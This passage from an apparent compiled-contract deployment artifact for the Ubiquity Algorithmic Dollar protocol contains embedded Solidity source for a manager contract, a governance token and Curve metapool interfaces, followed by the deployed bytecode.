@dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/UbiquityGovernance.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityGovernance is ERC20Ubiquity {\\n constructor(address _manager) ERC20Ubiquity(_manager, \\\"Ubiquity\\\", \\\"UBQ\\\") {} // solhint-disable-line no-empty-blocks, max-line-length\\n}\\n\",\"keccak256\":\"0x8bac90ee10b3dadde84afef9f450d6d79f3ff88ca53d1dd6ff71508691159d6a\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"}},\"version\":1}", - "bytecode": "0x60806040523480156200001157600080fd5b506040516200228e3803806200228e833981016040819052620000349162000452565b8060405180604001604052806008815260200167556269717569747960c01b8152506040518060400160405280600381526020016255425160e81b815250818181600390805190602001906200008c929190620003ac565b508051620000a2906004906020840190620003ac565b50506005805460ff19169055508151620000c4906008906020850190620003ac565b508051620000da906009906020840190620003ac565b5060058054610100600160a81b0319166101006001600160a01b03868116820292909217928390556040805163a217fddf60e01b8152905191909304909116916391d1485491839163a217fddf916004808301926020929190829003018186803b1580156200014857600080fd5b505afa1580156200015d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001839190620004a4565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015620001c157600080fd5b505afa158015620001d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fc919062000482565b6200025b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b606482015260840160405180910390fd5b467f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6200028762000312565b805160209182012060408051808201825260018152603160f81b90840152805192830193909352918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc66060820152608081018290523060a082015260c001604051602081830303815290604052805190602001206006819055505050505050620004fa565b6060600880546200032390620004bd565b80601f01602080910402602001604051908101604052809291908181526020018280546200035190620004bd565b8015620003a25780601f106200037657610100808354040283529160200191620003a2565b820191906000526020600020905b8154815290600101906020018083116200038457829003601f168201915b5050505050905090565b828054620003ba90620004bd565b90600052602060002090601f016020900481019282620003de576000855562000429565b82601f10620003f957805160ff191683800117855562000429565b8280016001018555821562000429579182015b82811115620004295782518255916020019190600101906200040c565b50620004379291506200043b565b5090565b5b808211156200043757600081556001016200043c565b60006020828403121562000464578081fd5b81516001600160a01b03811681146200047b578182fd5b9392505050565b60006020828403121562000494578081fd5b815180151581146200047b578182fd5b600060208284031215620004b6578081fd5b5051919050565b600181811c90821680620004d257607f821691505b60208210811415620004f457634e487b7160e01b600052602260045260246000fd5b50919050565b611d84806200050a6000396000f3fe608060405234801561001057600080fd5b50600436106101985760003560e01c80635c975abb116100e3578063a457c2d71161008c578063c47f002711610066578063c47f00271461034f578063d505accf14610362578063dd62ed3e1461037557610198565b8063a457c2d714610316578063a9059cbb14610329578063b84c82461461033c57610198565b80637ecebe00116100bd5780637ecebe00146102e65780638456cb591461030657806395d89b411461030e57610198565b80635c975abb146102b557806370a08231146102c057806379cc6790146102d357610198565b80633644e5151161014557806340c10f191161011f57806340c10f191461025f57806342966c6814610272578063481c6a751461028557610198565b80633644e5151461023957806339509351146102425780633f4ba83a1461025557610198565b806323b872dd1161017657806323b872dd146101f057806330adf81f14610203578063313ce5671461022a57610198565b806306fdde031461019d578063095ea7b3146101bb57806318160ddd146101de575b600080fd5b6101a56103ae565b6040516101b29190611c73565b60405180910390f35b6101ce6101c9366004611b50565b610440565b60405190151581526020016101b2565b6002545b6040519081526020016101b2565b6101ce6101fe366004611aa4565b610456565b6101e27f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b604051601281526020016101b2565b6101e260065481565b6101ce610250366004611b50565b610521565b61025d610558565b005b61025d61026d366004611b50565b6106ac565b61025d610280366004611c5b565b61088b565b60055461029d9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101b2565b60055460ff166101ce565b6101e26102ce366004611a51565b610912565b61025d6102e1366004611b50565b610931565b6101e26102f4366004611a51565b60076020526000908152604090205481565b61025d610b12565b6101a5610c64565b6101ce610324366004611b50565b610c73565b6101ce610337366004611b50565b610d26565b61025d61034a366004611bb1565b610d33565b61025d61035d366004611bb1565b610ea2565b61025d610370366004611adf565b61100d565b6101e2610383366004611a72565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600880546103bd90611cf5565b80601f01602080910402602001604051908101604052809291908181526020018280546103e990611cf5565b80156104365780601f1061040b57610100808354040283529160200191610436565b820191906000526020600020905b81548152906001019060200180831161041957829003601f168201915b5050505050905090565b600061044d33848461122c565b50600192915050565b6000610463848484611351565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105025760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61051685336105118685611cde565b61122c565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161044d918590610511908690611cc6565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b1580156105a957600080fd5b505afa1580156105bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e19190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561061e57600080fd5b505afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106569190611b79565b6106a25760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74207061757365720000000060448201526064016104f9565b6106aa6113a7565b565b60055460408051632f533cb760e01b815290516101009092046001600160a01b0316916391d14854918391632f533cb791600480820192602092909190829003018186803b1580156106fd57600080fd5b505afa158015610711573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107359190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611b79565b6107f65760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206d696e7465720000000060448201526064016104f9565b60055460ff161561083c5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6108468282611443565b60405181815233906001600160a01b038416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca906020015b60405180910390a35050565b60055460ff16156108d15760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6108da81611527565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b6001600160a01b0381166000908152602081905260409020545b919050565b6005546040805163f39e5a4760e01b815290516101009092046001600160a01b0316916391d1485491839163f39e5a4791600480820192602092909190829003018186803b15801561098257600080fd5b505afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156109f757600080fd5b505afa158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2f9190611b79565b610a7b5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74206275726e65720000000060448201526064016104f9565b60055460ff1615610ac15760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b610acb8282611534565b816001600160a01b03167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610b0691815260200190565b60405180910390a25050565b6005546040805163e63ab1e960e01b815290516101009092046001600160a01b0316916391d1485491839163e63ab1e991600480820192602092909190829003018186803b158015610b6357600080fd5b505afa158015610b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9b9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610bd857600080fd5b505afa158015610bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c109190611b79565b610c5c5760405162461bcd60e51b815260206004820152601c60248201527f476f7665726e616e636520746f6b656e3a206e6f74207061757365720000000060448201526064016104f9565b6106aa61168f565b6060600980546103bd90611cf5565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610d0d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016104f9565b610d1c33856105118685611cde565b5060019392505050565b600061044d338484611351565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610d8457600080fd5b505afa158015610d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbc9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610df957600080fd5b505afa158015610e0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e319190611b79565b610e8b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b60648201526084016104f9565b8051610e9e9060099060208401906119a1565b5050565b6005546040805163a217fddf60e01b815290516101009092046001600160a01b0316916391d1485491839163a217fddf91600480820192602092909190829003018186803b158015610ef357600080fd5b505afa158015610f07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2b9190611b99565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610f6857600080fd5b505afa158015610f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa09190611b79565b610ffa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a206465706c6f796572206d757374206265206d616e616765722060448201526430b236b4b760d91b60648201526084016104f9565b8051610e9e9060089060208401906119a1565b4284101561105d5760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c61723a2045585049524544000000000000000000000000000000000060448201526064016104f9565b6006546001600160a01b038816600090815260076020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b9190876110b083611d30565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012060405160200161112992919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa158015611194573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906111ca5750886001600160a01b0316816001600160a01b0316145b6112165760405162461bcd60e51b815260206004820152601960248201527f446f6c6c61723a20494e56414c49445f5349474e41545552450000000000000060448201526064016104f9565b61122189898961122c565b505050505050505050565b6001600160a01b03831661128e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b0382166112ef5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60055460ff16156113975760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6113a283838361170a565b505050565b60055460ff166113f95760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016104f9565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166114995760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104f9565b6114a56000838361191c565b80600260008282546114b79190611cc6565b90915550506001600160a01b038216600090815260208190526040812080548392906114e4908490611cc6565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161087f565b6115313382611534565b50565b6001600160a01b0382166115945760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016104f9565b6115a08260008361191c565b6001600160a01b038216600090815260208190526040902054818110156116145760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104f9565b61161e8282611cde565b6001600160a01b0384166000908152602081905260408120919091556002805484929061164c908490611cde565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611344565b60055460ff16156116d55760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016104f9565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586114263390565b6001600160a01b0383166117865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104f9565b6001600160a01b0382166117e85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b6117f383838361191c565b6001600160a01b038316600090815260208190526040902054818110156118825760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104f9565b61188c8282611cde565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906118c2908490611cc6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190e91815260200190565b60405180910390a350505050565b6113a283838361192e60055460ff1690565b156113a25760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c65207061757365640000000000000000000000000000000000000000000060648201526084016104f9565b8280546119ad90611cf5565b90600052602060002090601f0160209004810192826119cf5760008555611a15565b82601f106119e857805160ff1916838001178555611a15565b82800160010185558215611a15579182015b82811115611a155782518255916020019190600101906119fa565b50611a21929150611a25565b5090565b5b80821115611a215760008155600101611a26565b80356001600160a01b038116811461092c57600080fd5b600060208284031215611a62578081fd5b611a6b82611a3a565b9392505050565b60008060408385031215611a84578081fd5b611a8d83611a3a565b9150611a9b60208401611a3a565b90509250929050565b600080600060608486031215611ab8578081fd5b611ac184611a3a565b9250611acf60208501611a3a565b9150604084013590509250925092565b600080600080600080600060e0888a031215611af9578283fd5b611b0288611a3a565b9650611b1060208901611a3a565b95506040880135945060608801359350608088013560ff81168114611b33578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611b62578182fd5b611b6b83611a3a565b946020939093013593505050565b600060208284031215611b8a578081fd5b81518015158114611a6b578182fd5b600060208284031215611baa578081fd5b5051919050565b600060208284031215611bc2578081fd5b813567ffffffffffffffff80821115611bd9578283fd5b818401915084601f830112611bec578283fd5b813581811115611bfe57611bfe611d61565b604051601f8201601f19908116603f01168101908382118183101715611c2657611c26611d61565b81604052828152876020848701011115611c3e578586fd5b826020860160208301379182016020019490945295945050505050565b600060208284031215611c6c578081fd5b5035919050565b6000602080835283518082850152825b81811015611c9f57858101830151858201604001528201611c83565b81811115611cb05783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115611cd957611cd9611d4b565b500190565b600082821015611cf057611cf0611d4b565b500390565b600181811c90821680611d0957607f821691505b60208210811415611d2a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611d4457611d44611d4b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b6000526041600452602460